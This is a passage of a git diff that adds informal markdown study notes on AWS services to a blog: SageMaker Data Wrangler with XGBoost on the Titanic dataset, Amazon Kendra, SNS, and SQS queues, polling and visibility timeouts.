transformations. + +to use these transformations. + +##### Data Exploration + +create a table summary of the data using an analysis: +1. Choose the **+** next to the **Data type** step in the data flow and select **Add analysis**. + +2. In the **Analysis** area, select **Table summary** from the dropdown list. + +3. Give the table summary a **Name**. + +4. Select **Preview** to preview the table that will be created. + +5. Choose **Create** to save it to the data flow. It appears under **All Analyses**. + +6. Using the statistics, can make observations similar to the following about this dataset: + + - Fare average (mean) is around $33, while the max is over $500. This column likely has outliers. + + - This dataset uses _?_ to indicate missing values. A number of columns have missing values: _cabin_, _embarked_, and _home.dest_ + + - The age category is missing over 250 values. + + +7. Choose **Prepare** to go back to the data flow. +8. Next, clean the data using the insights gained from these stats. + + + +##### Drop Unused Columns + +Using the analysis from the previous section, clean up the dataset to prepare it for training. To add a new transform to the data flow, choose **+** next to the **Data type** step in the data flow and choose **Add transform**. + +First, drop columns that don't want to use for training. +- use [Pandas](https://pandas.pydata.org/) data analysis library +- or use one of the built-in transforms. + +To do this using Pandas: + +1. In the **Custom Transform** section, select **Python (Pandas)** from the dropdown list. + +2. Enter the following in the code box. + + ```py + cols = ['name', 'ticket', 'cabin', 'sibsp', 'parch', 'home.dest','boat', 'body'] + df = df.drop(cols, axis=1) + ``` + +3. Choose **Preview** to preview the change and then choose **Add** to add the transformation. + + + +To use the built-in transformations: + +1. Choose **Manage columns** from the right panel. + +2. For **Input column**, choose **cabin**, and choose **Preview**. + +3. Verify that the **cabin** column has been dropped, then choose **Add**. + +4. Repeat these steps for the following columns: **ticket**, **name**, **sibsp**, **parch**, **home.dest**, **boat**, and **body**. + + + + +##### Clean up Missing Values + +- do this with the **Handling missing values** transform group. +- A number of columns have missing values. Of the remaining columns, _age_ and _fare_ contain missing values. Inspect this using the **Custom Transform**. + +1. Using the **Python (Pandas)** option + - to quickly review the number of entries in each column: `df.info()` + +2. drop rows with missing values in the _age_ category: + + 1. Choose **Handling missing values**. + + 2. Choose **Drop missing** for the **Transformer**. + + 3. Choose **Drop Rows** for the **Dimension**. + + 4. Choose _age_ for the **Input column**. + + 5. Choose **Preview** to see the new data frame, and then choose **Add** to add the transform to the flow. + + 6. Repeat the same process for _fare_. + + +3. use `df.info()` in the **Custom transform** section to confirm that all rows now have 1,045 values. + + + +##### Custom Pandas: Encode + +Try flat encoding using Pandas. +- Encoding categorical data is the process of creating a numerical representation for categories. + +- For example, if the categories are Dog and Cat, may encode this information into two vectors: `[1,0]` to represent Dog, and `[0,1]` to represent Cat. + + +1. In the **Custom Transform** section, choose **Python (Pandas)** from the dropdown list. + +2. Enter the following in the code box. + + ```py + import pandas as pd + + dummies = [] + cols = ['pclass','sex','embarked'] + for col in cols: + dummies.append(pd.get_dummies(df[col])) + + encoded = pd.concat(dummies, axis=1) + + df = pd.concat((df, encoded),axis=1) + ``` + +3. Choose **Preview** to preview the change. The encoded version of each column is added to the dataset. + +4. Choose **Add** to add the transformation. + + + + +#### Custom SQL: SELECT Columns + +Now, select the columns want to keep using SQL. For this demo, select the columns listed in the following `SELECT` statement. +- Because _survived_ is the target column for training, put that column first. + + +1. In the **Custom Transform** section, select **SQL (PySpark SQL)** from the dropdown list. + +2. Enter the following in the code box. + + ```sql + SELECT survived, age, fare, 1, 2, 3, female, male, C, Q, S + FROM df; + ``` + +3. Choose **Preview** to preview the change. + - The columns listed in the `SELECT` statement above are the only remaining columns. + +4. Choose **Add** to add the transformation. + +--- + +### Export + +- a number of export options. +- export to a Data Wrangler job notebook. + - A Data Wrangler job is used to process the data using the steps defined in the data flow. + +![Screen Shot 2021-04-03 at 14.20.15](https://i.imgur.com/chtFLbB.png) + + +#### Export to Data Wrangler Job Notebook + +When export the data flow using a **Data Wrangler job**, a **Jupyter Notebook** is automatically created. +- This notebook automatically opens in the Studio instance +- is configured to run a SageMaker processing job to execute the Data Wrangler data flow (a Data Wrangler job ) + +1. Save the data flow. Select **File** and then select **Save Data Wrangler Flow**. + +2. Choose the **Export** tab. + +3. Select the last step in the data flow: `custom pandas` + +4. Choose **Data Wrangler Job**. This opens a Jupyter Notebook. + +5. Choose any **Python 3 (Data Science)** kernel for the **Kernel**. + +6. When the kernel starts, run the cells in the notebook book until **Kick off SageMaker Training Job (Optional)**. + +7. Optionally, can run the cells in **Kick off SageMaker Training Job (Optional)** if want to create a SageMaker training job to train an XGboost classifier. + - can add the code blocks found in Training XGBoost Classifier to the notebook and run them to use the [XGBoost](https://xgboost.readthedocs.io/en/latest/) open source library to train an XGBoost classifier. + +8. Uncomment and run the cell under **Cleanup** and run it to revert the SageMaker Python SDK to its original version. + +9. can monitor the `Data Wrangler job status` in the SageMaker console in the **Processing** tab. + - Additionally, can monitor the Data Wrangler job using Amazon CloudWatch. + - If kicked off a training job, can monitor its status using the SageMaker console under **Training jobs** in the **Training section**. + + + +#### Training XGBoost Classifier + +In the same notebook that kicked off the Data Wrangler job, can pull the data and train a XGBoost Binary Classifier using the prepared data with minimal data preparation. + +1. First, upgrade necessary modules using `pip` and remove the `\_SUCCESS` file + - this last file is problematic when using `awswrangler` + + ```bash + ! pip install --upgrade awscli awswrangler boto sklearn + + ! aws s3 rm {output_path} \ + --recursive \ + --exclude "*" \ + --include "*_SUCCESS*" + ``` + +2. Read the data from Amazon S3. + - can use `awswrangler` to recursively read all the CSV files in the S3 prefix. + - The data is then split into features and labels. + - The label is the first column of the dataframe. + + ```py + import awswrangler as wr + + df = wr.s3.read_csv(path=output_path, dataset=True) + X, y = df.iloc[:,:-1],df.iloc[:,-1]` + + - Finally, create DMatrices (the XGBoost primitive structure for data) and do cross-validation using the XGBoost binary classification. + + `import xgboost as xgb + + dmatrix = xgb.DMatrix(data=X, label=y) + + params = {"objective":"binary:logistic",'learning_rate': 0.1, 'max_depth': 5, 'alpha': 10} + + xgb.cv( + dtrain=dmatrix, + params=params, + nfold=3, + num_boost_round=50, + early_stopping_rounds=10, + metrics="rmse", + as_pandas=True, + seed=123) + ``` + + +#### Shut down Data Wrangler + +When are finished using Data Wrangler, we recommend shut down the instance it runs on to avoid incurring additional charges. + + + + + +. diff --git a/_posts/01Cloud/01AWS/ML/AmazonKendra.md b/_posts/01Cloud/01AWS/ML/AmazonKendra.md new file mode 100644 index 00000000000..bafe4c00a6a --- /dev/null +++ b/_posts/01Cloud/01AWS/ML/AmazonKendra.md @@ -0,0 +1,116 @@ +--- +title: AWS - ML - Amazon Kendra +date: 2021-04-04 11:11:11 -0400 +categories: [01AWS, ML] +tags: [AWS, ML] +toc: true +image: +--- + +- [ML - Amazon Kendra](#ml---amazon-kendra) + - [overview](#overview) + - [Benefits of Amazon Kendra](#benefits-of-amazon-kendra) + - [setup](#setup) + +- ref + - [Amazon Kendra: Transform the Way You Search and Interact with Enterprise Data Using AI](https://www.youtube.com/watch?v=eWg9xaC4vNw) + + +--- + +# ML - Amazon Kendra + +![Screen Shot 2021-06-30 at 3.15.21 PM](https://i.imgur.com/30o3OQV.jpg) + +![Screen Shot 2021-06-30 at 3.17.40 PM](https://i.imgur.com/LLtYwpy.png) + +![Screen Shot 2021-06-30 at 3.20.56 PM](https://i.imgur.com/zxYMBeg.png) + +![Screen Shot 2021-06-30 at 3.25.39 PM](https://i.imgur.com/1Lxb6SG.jpg) + + +## overview + +- a highly accurate intelligent search service +- enables the users to search unstructured data using natural language. +- It returns specific answers to questions, giving users an experience that's close to interacting with a human expert. +- highly scalable and capable of meeting performance demands, +- tightly integrated with other AWS services such as Amazon S3 and Amazon Lex +- offers enterprise-grade security. + +Amazon Kendra users can ask the following types of questions, or queries: +- **Factoid questions** + - Simple `who, what, when, or where questions` + - such as Who is on duty today? or Where is the nearest service center to me? Factoid questions have fact-based answers that can be returned in the form of a single word or phrase. The precise answer, however, must be explicitly stated in the ingested text content. +- **Descriptive questions** + - Questions whose answer could be a sentence, passage, or an entire document. + - For example, How do I connect my Echo Plus to my network? or How do I get tax benefits for lower income families?. +- **Keyword searches** + - Questions where the intent and scope are not clear. + - For example, keynote address. As 'address' can often have several meanings, Amazon Kendra can infer the user's intent behind the search query to return relevant information aligned with the user's intended meaning. Amazon Kendra uses deep learning models to handle this kind of query. + +--- + + +## Benefits of Amazon Kendra + +Amazon Kendra has the following benefits: + +- Accuracy + - Unlike traditional search services that use keyword searches where results are based on basic keyword matching and ranking, + - Amazon Kendra attempts to understand the content, the user context, and the question. Amazon Kendra searches across your data and goes beyond traditional search to return the most relevant word, snippet, or document for your query. + - Amazon Kendra uses machine learning to improve search results over time. +- Simplicity + - provides a console and API for managing the document to search. + - can use a simple search API to integrate Amazon Kendra into client applications, such as websites or mobile applications. +- Connectivity + - Amazon Kendra can connect to third-party data sources to provide search across documents managed in different environments. +- User Access Control + - Amazon Kendra delivers highly secure enterprise search for your search applications. + - Your search results reflect the security model of your organization. + - Customers are responsible for authenticating and authorizing users to gain access to their search application. + + +--- + + +## setup + +Amazon Kendra provides an interface for indexing and searching documents. + +- use Amazon Kendra to create an **updatable index** of documents of a variety of types + - including plain text, HTML files, Microsoft Word documents, Microsoft PowerPoint presentations, and PDF files. +- It has a search API that you can use from a variety of client applications, such as websites or mobile applications. + +Amazon Kendra integrates with other services. +- For example, you can power Amazon Lex chat bots with Amazon Kendra search to provide answers to users’ questions. +- You can use Amazon S3 bucket as a data source for your Amazon Kendra index. +- set up AWS Identity and Access Management to control access to Amazon Kendra resources. + +Amazon Kendra has the following components: +- The **index** + - provides a search API for client queries. + - create the index from source documents. +- A **source repository** + - contains the documents to index. +- A **data source** + - syncs the documents in your source repositories to an Amazon Kendra index. You can automatically synchronize a data source with an Amazon Kendra index so that new, updated, and deleted files in the source repository are updated in the index. +- A document addition API + - adds documents directly to the index. + + +To manage indexes and data sources, you can use the Amazon Kendra console or the API. You can create, update, and delete indexes. Deleting an index deletes all data sources and permanently deletes all of your document information from Amazon Kendra. + + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/MQ_Loose_coupling/2020-07-18-SNS.md b/_posts/01Cloud/01AWS/MQ_Loose_coupling/2020-07-18-SNS.md new file mode 100644 index 00000000000..73958e2a866 --- /dev/null +++ b/_posts/01Cloud/01AWS/MQ_Loose_coupling/2020-07-18-SNS.md @@ -0,0 +1,216 @@ +--- +title: AWS - MQ - SAM +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, Compute] +tags: [AWS] +toc: true +# image: +--- + +- [SNS - Amazon simple notification service](#sns---amazon-simple-notification-service) + - [architecture](#architecture) + - [Overview](#overview) + - [massage persistency](#massage-persistency) + - [use case](#use-case) + + +--- + +# SNS - Amazon simple notification service + +![Screen Shot 2020-06-09 at 23.29.11](https://i.imgur.com/6SFYV89.png) + +![Screen Shot 2020-07-10 at 14.17.28](https://i.imgur.com/cEPwfCc.png) + + +![Screen Shot 2020-06-09 at 23.29.33](https://i.imgur.com/Ge70lM9.png) + +![Screen Shot 2020-06-09 at 23.28.24](https://i.imgur.com/ZiOCizV.png) + +![Screen Shot 2020-06-09 at 23.28.40](https://i.imgur.com/RwnPZ73.png) + + +## architecture + + +![Screen Shot 2020-08-09 at 20.47.33](https://i.imgur.com/444nmbV.png) + +![Screen Shot 2020-06-09 at 23.30.27](https://i.imgur.com/OirBik1.png) + + +## Overview + +Amazon SNS Amazon Simple Notification Service + +- a highly available, durable, secure, fully managed pub/sub messaging service + +- enables you to decouple micro-services, distributed systems, and serverless applications. + +- provides topics for high-throughput, push-based, many-to-many messaging. + +- a web service that enables to set up, operate, and send notifications to subscribing services from the cloud. + + +- Using SNS topics, your publisher systems can fan out messages to a large number of **subscriber endpoints** for parallel processing, including SQS queues, AWS Lambda functions, and HTTP/S web-hooks. + + - can be used to fan out notifications to end users using mobile push, SMS, and email. + + - EC2, S3, and Lambda can all work with SNS. + + - The default maximum for SNS topics per account is 100,000. + + - The default limit to the number of SNS subscriptions per topic is 12,500,000. + + +- When using SNS, + - **owner** create a topic and control access to + - defining policies that determine which publishers and subscribers can communicate with the topic. + - **Publisher** + - human/alarm/event that gives SNS the message that needs to be sent + - send messages to topics they created / have publishing permission rights to. + - Instead of including a specific destination address in each message, a publisher sends a message to the topic. + + - **Topic** + - an “access point” for allowing recipients to dynamically subscribe for identical copies of the same notification. + - How to label and group different endpoints that send messages to. + - can also use topics to group multiple recipients. + - One topic can support deliveries to multiple endpoint types. + - SNS matches the topic to a list of subscribers who have subscribed to that topic, and delivers the message to each of those subscribers. + + - Each topic has a unique name that identifies the SNS endpoint for publishers to post messages and subscribers to register for notifications. + + - Subscribers receive all messages published to their subscribed topics, and all topic subscribers receive the same messages. + + - **Subscriptions**: the endpoints that a topic send messages to. + +- SNS also can push messages to mobile devices or distributed services via API or an easy-to-use management console. + +- You can seamlessly scale from a handful of messages per day to millions of messages, or more. + +- With SNS, can publish a message once and deliver it one or more times. can choose to direct unique messages to individual Apple, Google, or Amazon devices, or broadcast deliveries to many mobile devices, with a single publish request. + +Amazon SNS supports a number of subscriber types for communication : +- Email, plain or JSON +- Web ports 80 or 443 +- Short message service +- Amazon SQS +- Mobile push messaging +- AWS Lambda function + +For Amazon SNS, you are guaranteed a one-to-many communication + +- Single published message : all notification messages contain a single published message. + +- each message is delivered **at least once**. + - no guarantee that a message will be received or processed, which is why SNS should be used with a managed service, like SQS. + +- message **order is not guaranteed or relevant** + - Amazon SNS attempts to deliver messages from the publisher in the order in which they were published into the topic. + - However, network issues can potentially result in out-of-order messages at the subscriber end. + +- messages cannot be recalled. + - once a message is delivered successfully, there is no recall feature. + +- SNS allows for HTTP/HTTPS retry + - the maximum size per message is 256 KB. + - HTTP/HTTPS retry means that an Amazon SNS delivery policy can be used to control the retry pattern (linear, geometric, or exponential backoff…), maximum and minimum retry delays, and other parameters. + +- For non-SMS messages, such as XML, JSON, and unformatted text + - Amazon SNS allows up to 64 KB per message, with a maximum of 256 KB, for four requests of 64 KB each. + - Each 64 KB chunk of published data is billed as one request. + - For example, a single API call with a 256 KB payload is billed as four requests. + +## massage persistency + +![Screen Shot 2020-07-10 at 15.58.35](https://i.imgur.com/bdYyPzp.png) + +One key difference is SNS does not offer message persistency + +- This is why using Amazon SQS with SNS is important. + +- If you are using a fan-out case, SQS provides a place where the message will be caught or processed, because SQS is always available. + +- Due to the invisibility timeout and locks, SQS has message persistence, and messages are guaranteed to be processed. + +- As far as delivery differences + - **SNS** allows applications to send time-critical messages to multiple subscribers through a push mechanism. + - **SQS** exchanges messages through a polling model—sending and receiving components are decoupled. + +- When comparing producer and consumer differences + - **SNS** + - uses a publish and subscribe mechanism, + - distribution model is one to many + - **SQS** + - is a send and receive model. + - distribution model is one to one . + - provides flexibility for distributed components of applications to send and receive messages, without requiring each component to be concurrently available. + + +- SNS works closely with SQS. + - Both services provide different benefits for developers. + - SNS allows applications to send time-critical messages to multiple subscribers through a “push” mechanism, eliminates the need to periodically check or “poll” for updates. + - SQS is a message queue service used by distributed applications + - to exchange messages through a polling model + - can be used to decouple sending and receiving components without requiring each component to be concurrently available. + - By using SNS and SQS together, messages can be delivered to applications that require immediate notification of an event and also persisted in an SQS queue for other applications to process at a later time. + + +--- + +## use case + + + +![Screen Shot 2020-07-10 at 16.17.37](https://i.imgur.com/pFLvBt4.png) + +1. use case for fan-out. + + - a mobile phone uploading a cute kitten picture. + + - an SNS topic for the kitten picture. + + - Once the upload is complete, the kitten picture is sent to three SQS queues: + - One to generate a thumbnail + - One to size the image for mobile + - One to size the image for the webIn this scenario + - the SNS and SQS work together to produce the fan-out. + + - It is the same message but it has three sets of instructions for one image. + +--- + +![Screen Shot 2020-07-10 at 16.23.40](https://i.imgur.com/cGfsagC.png) + +2. end-to-end image processing scenario + + - phone uploads the kitten picture to an S3 bucket for ingestion. + + - uploading an image to S3 triggers an event notification + - The S3 bucket sends an event notification/message to the SNS topic automatically, which sends it to the SQS queues to process the work based on the size of the image. + + - Next, SQS connects to the Auto Scaling groups that each have a job to do . + + - Once the message is processed, the Auto Scaling groups send it to the S3 bucket, which serving content to Amazon CloudFront. + + - From CloudFront, the appropriately sized picture can be downloaded. + +--- + + +![Screen Shot 2020-07-10 at 16.28.05](https://i.imgur.com/ze4UiEO.png) + +3. Microservices example. + + - This service-oriented architecture is a design pattern + - application components provide services to other components via a communications protocol, typically over a network. + - A service is a self-contained unit of functionality, such as retrieving an order status. Using that definition, a service is a discretely invoke-able operation. + - SOA is widely adopted by large systems to integrate business processes, such as banking. + + - The architecture shown on the left illustrates a monolithic application. + - Users connect to three separate instances, and all three do file ingestion, processing, and publishing. + - Anything affecting any instances could impact the application. + + - In contrast, the microservices architecture + - uses file ingestion, SQS, and SNS, which are all components that can scale to meet demand. + - Additionally, the entire architecture is serverless, except for the instances in the automatic scaling groups that perform certain functions, like file ingestion and processing. + - In this example, a file is uploaded for ingestion, a put message is created, and then the message goes to a queue for processing. The automatic scaling file processing group processes the file and sends a notification when it’s complete. At the same time, the file is pushed into a bucket. diff --git a/_posts/01Cloud/01AWS/MQ_Loose_coupling/2020-07-18-SQS.md b/_posts/01Cloud/01AWS/MQ_Loose_coupling/2020-07-18-SQS.md new file mode 100644 index 00000000000..92111e5fa6f --- /dev/null +++ b/_posts/01Cloud/01AWS/MQ_Loose_coupling/2020-07-18-SQS.md @@ -0,0 +1,743 @@ +--- +title: AWS - MQ - SQS +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, MQ] +tags: [AWS] +toc: true +# image: +--- + + +- [SQS - Amazon Simple Queue Service](#sqs---amazon-simple-queue-service) + - [short and long polling](#short-and-long-polling) + - [use case](#use-case) + - [Loose coupling with SQS](#loose-coupling-with-sqs) + - [short polling behavior](#short-polling-behavior) + - [Visibility timeout](#visibility-timeout) + - [dead letter queue, DLQ](#dead-letter-queue-dlq) + - [Share Queue](#share-queue) + - [Attributes](#attributes) + - [Amazon SQS message attributes](#amazon-sqs-message-attributes) + - [Message attribute components](#message-attribute-components) + - [Message attribute data types](#message-attribute-data-types) + - [Amazon SQS message system attributes](#amazon-sqs-message-system-attributes) + - [SCALABILITY AND DURABILITY](#scalability-and-durability) + - [SECURITY](#security) + - [Monitoring](#monitoring) + +--- + +# SQS - Amazon Simple Queue Service + +![Screen Shot 2020-08-09 at 20.48.08](https://i.imgur.com/L2jPh8B.png) + + +- a fully managed message queuing service + - web service + - gives access to message queues that store messages waiting to be processed. + - uses a message-oriented API. + - uses pull based (polling) not push based . + +- used for distributed/decoupled applications. + - simple and quite cost-effective + - decouple and scale the components of a specific application, microservices, distributed systems, and serverless applications. + - for an architectural where loosely coupled components are needed. + - using asynchronous messaging queues to avoid single points of failure + - Loosely Coupled System = Important Design Principle + - SQS moves the data between distributed application components and also helps to **decouple** the components. + +- reliable, highly stable **hosted queue** for storing messages between applications and/or microservices . + - eliminates the complexity and overhead associated with managing and operating message oriented middleware, and empowers developers to focus on differentiating work. + + +- Using SQS to send, store, and receive messages between software components at any volume, without losing messages or requiring other services to be available. + - Get started with SQS by AWS console, CLI or SDK, and three simple commands. + + +- SQS support encryption + +- An SQS resource policy sets permissions to access a queue + +- can be used with RedShift, DynamoDB, EC2, ECS, RDS, S3 and Lambda . + - An SQS resource policy sets permissions to access a queue + - Lambda + - Lambda functions can be invoked based on messages arriving in the queue + - Lambda can provide rapid and agile scaling if computing/processing is needed for a message in a queue. + - If computing is under the maximum runtime of Lambda (15 mins), then this computing is much quicker than provisioning an Auto Scaling Group. + - Lambda allow for rapid and agile scaling while processing SQS messages for up to 15 mins? + - CloudWatch + - CloudWatch supplies a full set of metrics for the SQS service. + - Paired together, CloudWatch and Auto Scaling groups can scale based on the number of messages in the queue. + +- SQS offers 2 types of message queues. + - **Standard queues** offer maximum throughput, best-effort ordering, and at-least-once delivery. + - **SQS FIFO queues** are designed to guarantee that messages are processed exactly once, in the exact order that they are sent. + +![Screen Shot 2020-07-10 at 11.14.10](https://i.imgur.com/D1wqkhI.png) + + Messages +- Messages are generated by one component for consumption by another + +- Any volume of messages at any level of throughput can be transmitted without losing messages or requiring other services to be always available. + - 256KB in size in any format. + - can be kept in the queue from 1 minute to 14 days (default is 4 days) . + +- information necessary to delete a message in an SQS queue + - Receipt handle + - The queue URL + +- To access the SNS service from inside a VPC, you would need: + - Since SNS is a public service, + - a VPC needs a **NAT Gateway** to access SNS. + - The NAT gateway sends the traffic to the internet gateway (IGW) to connect to the internet (the SNS public endpoint). + - a VPC needs an **Internet Gateway (IGW)** to access SNS public endpoint. + - An Internet Gateway allows communication between your VPC and the internet (the public endpoint of SNS). + - a VPC needs a **VPC endpoint** to access SNS. + - A VPC endpoint enables you to privately connect your VPC to supported AWS services, such as SNS. + + + + queue + +- Queue names must be unique within a region. + +- can support multiple readers and writers on the same queue. + +- the repository for messages awaiting processing. + - wait for messages and act as a buffer between senders and receivers. + +- key difference between SQS and SNS. + - SQS is pull, + - SNS is push. + +- queue types: + - Standard : + - offers at-least-once delivery + - If a message creating system restarts a queue or reprocesses a log, duplicate messages may be generated, sent to SQS and processed. + - and best-effort-ordering . + - provide a loose-FIFO capability that attempts to preserve the order of messages. + - designed to be massively scalable using a highly distributed architecture + - receiving messages in sent order is not guaranteed. + - FIFO : first in first out + - available in limited regions currently. + - allows to order elements that aren’t ordered programmatically. + - can be delivered more than once + - exactly-once processing + - duplicates are not introduced. + - each message is delivered once and remains available until a consumer processes it and deletes it. + - limited throughput + - up to 300 sends, receives, or deletes per second. + - preserve the exact order in which messages are sent and received. + - don’t have to place sequencing information in your message. + - **LIMITS** + - **In-flight messages**: messages that have been picked up by a consumer but not yet deleted from the queue. + - Standard queues: limit of 120,000 in-flight messages per queue. + - FIFO queues: limit of 20,000 in-flight messages per queue. + - Queue names can be up to 80 characters. + - Messages are retained for 4 days by default up to 14 days. + - FIFO queues support up to 3000 messages per second when batching or 300 per second otherwise. + - The maximum messages size is 256KB. + + +![Pasted Graphic 1](https://i.imgur.com/SfhD8fw.jpg) + +--- + + +## short and long polling + +Amazon SQS provides **short polling** and **long polling** to receive messages from a queue. + +By default, queues use short polling. + +- short polling **default** + - the ReceiveMessage request queries only a subset of the servers (based on a weighted random distribution ) to find messages that are available to include in the response. + - It queries only a subset of the available servers for messages (based on weighted random execution). + - Amazon SQS sends the response right away, even if the query found no messages. + - Does not wait for messages to appear in the queue. + - the WaitTimeSeconds parameter of `a ReceiveMessage request` is set to 0 in two ways: + - The `ReceiveMessage` call sets `WaitTimeSeconds` to 0. + - The `ReceiveMessage` call doesn’t set `WaitTimeSeconds`, but the queue attribute `ReceiveMessageWaitTimeSeconds` is set to 0. + - More requests are used, which implies higher cost. + + - Thus, a particular ReceiveMessage request might not return all of your messages. However, if you have fewer than 1,000 messages in your queue, a subsequent request will return your messages. If you keep consuming from your queues, Amazon SQS samples all of its servers, and you receive all of your messages. + + - Amazon SQS samples several of its servers (in gray) and returns messages A, C, D, and B from these servers. Message E isn't returned for this request, but is returned for a subsequent request. + +![Pasted Graphic](https://i.imgur.com/aYIUlKA.png) + +- long polling + - the ReceiveMessage request queries all of the servers for messages. + - Benefits: + - Uses fewer requests to reduces cost. + - Same charge per million requests as short polling. + - Eliminates false empty responses by querying all servers. + - Eliminate empty responses by allowing Amazon SQS to wait + - SQS sends a response after it collects at least one available message, up to the maximum number of messages specified in the request. + - SQS sends an empty response only if the polling wait time expires. + - SQS waits until a message is available in the queue before sending a response. + - Requests contain at least one of the available messages up to the maximum number of messages specified in the ReceiveMessage action. + - Shouldn’t be used if your application expects an immediate response to receive message calls. + - ReceiveMessage WaitTime > 0 (up to 20 seconds). + + +--- + + + +## use case + + +- Work Queues, decouple components of a distributed application that might not process the same amount of work simultaneously. + +- Buffering Batch Operations, + - can add scalability and reliability to architecture, and smooth out temporary volume spikes without losing messages or increasing latency. + +- Request Offloading, + - move slow operations off interactive request paths by enqueueing the request. + +- Fan-out + - combine SQS with SNS to send identical copies of a message to multiple queues in parallel, for simultaneous processing. + +- Auto Scaling + - use SQS queues to determine the load on an application, and then combine with Auto Scaling to scale the number of EC2 instances out or in, depending on the traffic volume. + +--- + + +### Loose coupling with SQS + +![Screen Shot 2020-07-10 at 11.23.15](https://i.imgur.com/Dl4lf1X.png) + +- a queuing chain pattern that enables 异步的 asynchronous processing . + + - Asynchronous processing enables various processes to run at the same time. + +- An example of image processing is the sequential operations of `uploading, storing, and encoding the image, creating a thumbnail, and copyrighting are tightly linked to each other`. + +- This tight linkage complicates the recovery operations when a failure occurs. + +- In this diagram, EC2 automatic scaling group that completes six processes. + - To begin, it `puts` a message in the first queue. + - The message stays in the queue until the second group executes the `get` message, which pulls it out and processes the job. + - When the job is done, a `put` message is sent to the next queue, and the processed message is deleted. + - A `get` message is then sent to the third set of EC2 servers. + +- You can achieve loose coupling of systems by using queues between systems and exchanging messages that transfer jobs. + +- enables asynchronous linking of systems. This method lets you increase the number of virtual servers that receive and process the messages in parallel. + +- If there is no image to process, you can configure Auto Scaling to terminate the excess servers. + +While you can use this pattern without cloud technology, the queue itself is provided as an AWS Cloud service called Amazon SQS, which makes using this pattern easier. +- Amazon SQS offers free tier. +- New and existing customers can receive one million queuing requests for free each month. +- Some applications may be able to operate within this free tier limit. + +Some benefits are to: + +- Use asynchronous processing to return responses quickly. + +- Structure the system through loose coupling of EC2 instances. + +- Handle performance and service requirements by merely increasing or decreasing the number of EC2 instances used in job processing. + +- If an EC2 instance fails, a message remains in the queue service, which enables processing to continue immediately when the EC2 instance recovers. + - produces a system that is robust to failure. + +- Queuing chain pattern is one of the cloud design patterns. Select the link to learn more. https://en.clouddesignpattern.org/index.php/CDP:Queuing_Chain_Pattern + +- Scalable + - potentially millions of messages. + +- reliable service + - stores all messages redundantly on multiple servers in multiple data centers. + +- simultaneously read and write. + +- secure and requires API credentials. + + + +### short polling behavior + +![Pasted Graphic](https://i.imgur.com/Ud0wZyV.jpg) + +![Screen Shot 2020-07-10 at 12.52.58](https://i.imgur.com/vo8Ms85.png) + +- This diagram shows the short polling behavior of a message being returned after a system component makes a receive request. + +- Amazon SQS samples several servers, shown in gray, and returns the messages from the servers—messages A, C, D, and B, in this example. Message E is not returned for this particular request, but it would be returned for a subsequent request. + +- Message Order + - SQS makes a best effort to preserve the order of messages, but because of the distributed nature of the queue, might not receive messages in the exact order you sent them. + - SQS uses multiple hosts, and each host holds only a portion of all the messages. + - When a staff member calls for their next message, the consumer process does not see all the hosts or all the messages. + - As such, messages are not necessarily delivered in the order in which they were generated. + - If your system requires the order to be preserved, should place sequencing information in each message, to reorder the messages on receipt. + +- At-Least-Once Delivery + - SQS stores copies of your message on multiple servers for redundancy and high availability. + - On rare occasions, one of the servers storing a copy of a message might be unavailable when you receive or delete a message. + - If that occurs, the copy of the message will not be deleted on the unavailable server, and you might get that message copy again when you receive messages. + - Because of this, you must design your application to be 幂等的 idempotent + - it must not be adversely affected if it processes the same message more than once. + +- Message Sample + - How messages are retrieved from the queue depends on whether you are using short / standard polling (the default behavior), or long polling. + - When retrieve messages from the queue with short polling, SQS samples a subset of the servers, based on a weighted, random distribution. Then, it returns messages from just those servers. + - This means that a particular receive request might not return all your messages. Or, if you have a small number of messages in your queue, such as less than 1,000, a particular request might not return any of your messages, whereas a subsequent request will. + - If you keep retrieving from your queues, SQS will sample all the servers, and you will receive all your messages. + + +--- + +## Visibility timeout + +- the period of time in which a message is invisible to the rest of the application after an application component/reader gets the message from the queue. + - When a consumer instance retrieves a message, that message will be hidden from other consumer instances for a fixed period. + +- When a message is received, it is locked while being processed. + - The component that receives the message processes it and then deletes it from the queue. + - If the message processing fails, the lock expires, and the message is available again. + +- prevents it from being processed by other components. + - prevents multiple components from processing the same message. + +- protects the message to ensure it is always processed. + - if an instance fails and the lock never times out, the message stays invisible. + - The timeout enables the message to become unlocked, and visible, so it can be processed by another instance. + - When the application needs more time for processing, the “invisible” timeout can be changed dynamically via the ChangeMessageVisibility operation. + +- The maximum visibility timeout for an SQS message is 12 hours. + +- An Amazon SQS message can contain up to 10 metadata attributes. + + +- DelaySeconds + - When a new message is added to the SQS queue, it will be hidden from consumer instances for a fixed period. + +- WaitTimeSeconds / ReceiveMessageWaitTime + - When the consumer instance polls for new work, the SQS service will allow it to wait a certain time for one or more messages to be available before closing the connection. + - waits until a message is available in the queue before sending a response. + - Short polling/Long polling + + +--- + +## dead letter queue, DLQ + +- a queue of messages that could not be processed. + +- provides the ability to sideline and isolate messages that cannot be processed for analysis out of band. + +- A DLQ receives messages after a maximum number of processing attempts is reached. + +- A DLQ restores message flow when FIFO is enabled and a message cannot be processed. + +- A dead letter queue is like any other SQS queue. + - Messages can be sent to it and received from it. + +- can create a DLQ from the SQS API and the SQS console. + + + + +--- + +## Share Queue + +- Queues can be shared with other AWS accounts and anonymously. + - The owner of the queue pays for shared queue access. + - A permission gives access to another person to use your queue in a particular way. + +- A developer associates an access policy statement , specifies the permissions being granted, with the queue to be shared. + - A policy is the actual document that contains the permissions you granted. + +- the messages cannot be shared between queues in different Regions. + - SQS in each Region is independent in message stores and queue names; + +- SQS provides APIs to create and manage the access policy statements, which are AddPermission, RemovePermission, SetQueueAttributes, and GetQueueAttributes. + + +--- + +## Attributes + +### Amazon SQS message attributes + +- message body + - contains message payload + +- message_attributes + + - message_headers (can be used to apply different routing and filtering message using their headers information) + + - used as message metadata and not the message itself. + + - include structured metadata (such as timestamps, geospatial data, category, signatures, and identifiers) with messages using message attributes. + + - consumer can use message attributes to handle a message in a particular way without having to process the message body first. + + + +#### Message attribute components + +- All components of a message attribute are included in the 256 KB message size restriction. The Name, Type, Value, and the message body must not be empty or null. + +Each message attribute consists of the following components: +- Name: + - can contain the following characters: A-Z, a-z, 0-9, underscore (_), hyphen (-), and period (.). + - Can be up to 256 characters long + - Can't start with AWS. or Amazon. (or any casing variations) + - Is case-sensitive + - Must be unique among all attribute names for the message + - Must not start or end with a period + - Must not have periods in a sequence + +- TypeL: The message attribute data type. + - Supported types 